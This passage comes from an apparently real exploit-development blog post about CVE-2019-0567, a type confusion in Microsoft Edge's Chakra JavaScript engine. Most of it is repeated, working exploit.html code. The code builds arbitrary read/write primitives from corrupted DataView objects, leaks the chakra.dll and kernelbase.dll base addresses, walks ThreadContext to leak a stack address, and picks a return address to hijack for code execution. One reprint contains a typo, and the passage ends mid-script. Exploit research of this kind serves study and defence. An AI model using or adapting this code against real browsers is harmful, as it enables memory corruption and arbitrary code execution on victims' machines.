If we dive a bit deeper into the IAT, we can see there are several pointers to kernelbase.dll, which contains many of the important APIs such as VirtualProtect we need to bypass DEP and ACG. Specifically, for our exploit, we will go ahead and extract the pointer to kernelbase!DuplicateHandle as our kernelbase.dll leak, as we will need this API in the future for our ACG bypass.

What this means is that we can use our read primitive to read what chakra_base+0x5ee2b8 points to (which is a pointer into kernelbase.dll). We then can compute the base address of kernelbase.dll by subtracting the offset to DuplicateHandle from the base of kernelbase.dll in the debugger.

We now know that DuplicateHandle is 0x18de0 bytes away from kernelbase.dll’s base address. Armed with the following information, we can update exploit.html as follows and detonate it.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
}
</script>

We are now almost done porting our exploit primitives to Edge from ChakraCore. As we can recall from our ChakraCore exploit, the last thing we need to do now is leak a stack address/the stack in order to bypass CFG for control-flow hijacking and code execution.

Recall that this information derives from this Google Project Zero issue. As we can recall with our ChakraCore exploit, we computed these offsets in WinDbg and determined that ChakraCore leveraged slightly different offsets. However, since we are now targeting Edge, we can update the offsets to those mentioned by Ivan Fratric in this issue.

However, even though the type->scriptContext->threadContext offsets will be the ones mentioned in the Project Zero issue, the stack address offset is slightly different. We will go ahead and debug this with alert() statements.

We know we have to leak a type pointer (which we already have stored in exploit.html the same way as part two of this blog series) in order to leak a stack address. Let’s update our exploit.html with a few items to aid in our debugging for leaking a stack address.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // ---------------------------------------------------------------------------------------------

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Spawn an alert dialogue to pause execution
    alert("DEBUG");
}
</script>

As we can see, we have added a document.write() call to print out the address of our type pointer (from which we will leak a stack address) and then we also added an alert() call to create an “alert” dialogue. Since JavaScript will use temporary virtual memory (e.g. memory that isn’t really backed by disk in the form of a 0x7fff address that is backed by a loaded DLL) for objects, this address is only “consistent” for the duration of the process. Think of this in terms of ASLR - when, on Windows, you reboot the system, you can expect images to be loaded at different addresses. This is synonymous with the longevity of the address/address space used for JavaScript objects, except that it is on a “per-script basis” and not a per-boot basis (“per-script” basis is a made-up word by myself to represent the fact the address of a JavaScript object will change after each time the JavaScript code is ran). This is the reason we have the document.write() call and alert() call. The document.write() call will give us the address of our type object, and the alert() dialogue will actually work, in essence, like a breakpoint in that it will pause execution of JavaScript, HTML, or CSS code until the “alert” dialogue has been dealt with. In other words, the JavaScript code cannot be fully executed until the dialogue is dealt with, meaning all of the JavaScript code is loaded into the content process and cannot be released until it is dealt with. This will allow us examine the type pointer before it goes out of scope, and so we can examine it. We will use this same “setup” (e.g. alert() calls) to our advantage in debugging in the future.

If we run our exploit two separate times, we can confirm our theory about the type pointer changing addresses each time the JavaScript executes

Now, for “real” this time, let’s open up exploit.html in Edge and click the Click me to exploit CVE-2019-0567 button. This should bring up our “alert” dialogue.

As we can see, the type pointer is located at 0x1ca40d69100 (note you won’t be able to use copy and paste with the dialogue available, so you will have to manually type this value). Now that we know the address of the type pointer, we can use Process Hacker to locate our content process.

As we can see, the content process which uses the most RAM is PID 6464. This is our content process, where our exploit is currently executing (although paused). We now can use WinDbg to attach to the process and examine the memory contents of 0x1ca40d69100.

After inspecting the memory contents, we can confirm that this is a valid address - meaning our type pointer hasn’t gone out of scope! Although a bit of an arduous process, this is how we can successfully debug Edge for our exploit development!

Using the Project Zero issue as a guide, and leveraging the process outlined in part two of this blog series, we can talk various pointers within this structure to fetch a stack address!

The Google Project Zero issue explains that we essentially can just walk the type pointer to extract a ScriptContext structure which, in turn, contains ThreadContext. The ThreadContext structure is responsible, as we have see, for storing various stack addresses. Here are the offsets:

  1. type + 0x8 = JavaScriptLibrary
  2. JavaScriptLibrary + 0x430 = ScriptContext
  3. ScriptContext + 0x5c0 = ThreadContext

In our case, the ThreadContext structure is located at 0x1ca3d72a000.

Previously, we leaked the stackLimitForCurrentThread member of ThreadContext, which gave us essentially the stack limit for the exploiting thread. However, take a look at this address within Edge (located at ThreadContext + 0x4f0)

If we try to examine the memory contents of this address, we can see they are not committed to memory. This obviously means this address doesn’t fall within the bounds of the TEB’s known stack address(es) for our current thread.

As we can recall from part two, this was also the case. However, in ChakraCore, we could compute the offset from the leaked stackLimitForCurrentThread consistently between exploit attempts. Let’s compute the distance from our leaked stackLimitForCurrentThread with the actual stack limit from the TEB.

Here, at this point in the exploit, the leaked stack address is 0x1cf0000 bytes away from the actual stack limit we leaked via the TEB. Let’s exit out of WinDbg and re-run our exploit, while also leaking our stack address within WinDbg.

Our type pointer is located at 0x157acb19100.

After attaching Edge to WinDbg and walking the type object, we can see our leaked stack address via stackLimitForCurrentThread.

As we can see above, when computing the offset, our offset has changed to being 0x1c90000 bytes away from the actual stack limit. This poses a problem for us, as we cannot reliable compute the offset to the stack limit. Since the stack limit saved in the ThreadContext structure (stackForCurrentThreadLimit) is not committed to memory, we will actually get an access violation when attempting to dereference this memory. This means our exploit would be killed, meaning we also can’t “guess” the offset if we want our exploit to be reliable.

Before I pose the solution, I wanted to touch on something I first tried. Within the ThreadContext structure, there is a global variable named globalListFirst. This seems to be a linked-list within a ThreadContext structure which is used to track other instances of a ThreadContext structure. At an offset of 0x10 within this list (consistently, I found, in every attempt I made) there is actually a pointer to the heap.

Since it is possible via stackLimitForCurrentThread to at least leak an address around the current stack limit (with the upper 32-bits being the same across all stack addresses), and although there is a degree of variance between the offset from stackLimitForCurrentThread and the actual current stack limit (around 0x1cX0000 bytes as we saw between our two stack leak attempts), I used my knowledge of the heap to do the following:

  1. Leak the heap from chakra!ThreadContext::globalListFirst
  2. Using the read primitive, scan the heap for any stack addresses that are greater than the leaked stack address from stackLimitForCurrentThread

I found that about 50-60% of the time I could reliably leak a stack address from the heap. From there, about 50% of the time the stack address that was leaked from the heap was committed to memory. However, there was a varying degree of “failing” - meaning I would often get an access violation on the leaked stack address from the heap. Although I was only succeeding in about half of the exploit attempts, this is significantly greater than trying to “guess” the offset from the stackLimitForCurrenThread. However, after I got frustrated with this, I saw there was a much easier approach.

The reason why I didn’t take this approach earlier, is because the stackLimitForCurrentThread seemed to be from a thread stack which was no longer in memory. This can be seen below.

Looking at the above image, we can see only one active thread has a stack address that is anywhere near stackLimitForCurrentThread. However, if we look at the TEB for the single thread, the stack address we are leaking doesn’t fall anywhere within that range. This was disheartening for me, as I assumed any stack address I leaked from this ThreadContext structure was from a thread which was no longer active and, thus, its stack address space being decommitted. However, in the Google Project Zero issue - stackLimitForCurrentThread wasn’t the item leaked, it was leafInterpreterFrame. Since I had enjoyed success with stackLimitForCurrentThread in part two of this blog series, it didn’t cross my mind until much later to investigate this specific member.

If we take a look at the ThreadContext structure, we can see that at offset 0x8f0 that there is a stack address.

In fact, we can see two stack addresses. Both of them are committed to memory, as well!

If we compare this to Ivan’s findings in the Project Zero issue, we can see that he leaks two stack addresses at offset 0x8a0 and 0x8a8, just like we have leaked them at 0x8f0 and 0x8f8. We can therefore infer that these are the same stack addresses from the leafInterpreter member of ThreadContext, and that we are likely on a different version of Windows that Ivan, which likely means a different version of Edge and, thus, the slight difference in offset. For our exploit, you can choose either of these addresses. I opted for ThreadContext + 0x8f8.

Additionally, if we look at the address itself (0x1c2affaf60), we can see that this address doesn’t reside within the current thread.

However, we can clearly see that not only is this thread committed to memory, it is within the known bounds of another thread’s TEB tracking of the stack (note that the below diagram is confusing because the columns are unaligned. We are outlining the stack base and limit).

This means we can reliably locate a stack address for a currently executing thread! It is perfectly okay if we end up hijacking a return address within another thread because as we have the ability to read/write anywhere within the process space, and because the level of “private” address space Windows uses is on a per-process basis, we can still hijack any thread from the current process. In essence, it is perfectly valid to corrupt a return address on another thread to gain code execution. The “lower level details” are abstracted away from us when it comes to this concept, because regardless of what return address we overwrite, or when the thread terminates, it will have to return control-flow somewhere in memory. Since threads are constantly executing functions, we know that at some point the thread we are dealing with will receive priority for execution and the return address will be executed. If this makes no sense, do not worry. Our concept hasn’t changed in terms of overwriting a return address (be it in the current thread or another thread). We are not changing anything, from a foundational perspective, in terms of our stack leak and return address corruption between this blog post and part two of this blog series.

With that being said, here is how our exploit now looks with our stack leak.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
}
</script>

After running our exploit, we can see that we have successfully leaked a stack address.

From our experimenting earlier, the offsets between the leaked stack addresses have a certain degree of variance between script runs. Because of this, there is no way for us to compute the base and limit of the stack with our leaked address, as the offset is set to change. Because of this, we will forgo the process of computing the stack limit. Instead, we will perform our stack scanning for return addresses from the address we have currently leaked. Let’s recall a previous image outlining the stack limit of the thread where we leaked a stack address at the time of the leak.

As we can see, we are towards the base of the stack. Since the stack grows “downwards”, as we can see with the stack base being located at a higher address than the actual stack limit, we will do our scanning in “reverse” order, in comparison to part two. For our purposes, we will do stack scanning by starting at our leaked stack address and traversing backwards towards the stack limit (which is the highest, technically “lowest” address the stack can grow towards).

We already outlined in part two of this blog post the methodology I used in terms of leaking a return address to corrupt. As mentioned then, the process is as follows:

  1. Traverse the stack using read primitive
  2. Print out all contents of the stack that are possible to read
  3. Look for anything starting with 0x7fff, meaning an address from a loaded module like chakra.dll
  4. Disassemble the address to see if it is an actual return address

While omitting much of the code from our full exploit, a stack scan would look like this (a scan used just to print out return addresses):

(...)truncated(...)

// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

// Print update
document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
document.write("<br>");

// Counter variable
let counter = 0x6000;

// Loop
while (counter != 0)
{
    // Store the contents of the stack
    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

    // Print update
    document.write("[+] Stack address 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));
    document.write("<br>");

    // Decrement the counter
    // This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
    counter -= 0x8;
}

As we can see above, we do this in “reverse” order of our ChakraCore exploit in part two. Since we don’t have the luxury of already knowing where the stack limit is, which is the “last” address that can be used by that thread’s stack, we can’t just traverse the stack by incrementing. Instead, since we are leaking an address towards the “base” of the stack, we have to decrement (since the stack grows downwards) towards the stack limit.

In other words, less technically, we have leaked somewhere towards the “bottom” of the stack and we want to walk towards the “top of the stack” in order to scan for return addresses. You’ll notice a few things about the previous code, the first being the arbitrary 0x6000 number. This number was found by trial and error. I started with 0x1000 and ran the loop to see if the exploit crashed. I kept incrementing the number until a crash started to ensue. A crash in this case refers to the fact we are likely reading from decommitted memory, meaning we will cause an access violation. The “gist” of this is to basically see how many bytes you can read without crashing, and those are the return addresses you can choose from. Here is how our output looks.

As we start to scroll down through the output, we can clearly see some return address starting to bubble up!

Since I already mentioned the “trial and error” approach in part two, which consists of overwriting a return address (after confirming it is one) and seeing if you end up controlling the instruction pointer by corrupting it, I won’t show this process here again. Just know, as mentioned, that this is just a matter of trial and error (in terms of my approach). The return address that I found worked best for me was chakra!Js::JavascriptFunction::CallFunction<1>+0x83 (again there is no “special” way to find it. I just started corrupting return address with 0x4141414141414141 and seeing if I caused an access violation with RIP being controlled to by the value 0x4141414141414141, or RSP being pointed to by this value at the time of the access violation).

This value can be seen in the stack leaking contents.

Why did I choose this return address? Again, it was an arduous process taking every stack address and overwriting it until one consistently worked. Additionally, a little less anecdotally, the symbol for this return address is with a function quite literally called CallFunction, which means its likely responsible for executing a function call of interpreted JavaScript. Because of this, we know a function will execute its code and then hand execution back to the caller via the return address. It is likely that this piece of code will be executed (the return address) since it is responsible for calling a function. However, there are many other options that you could choose from.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

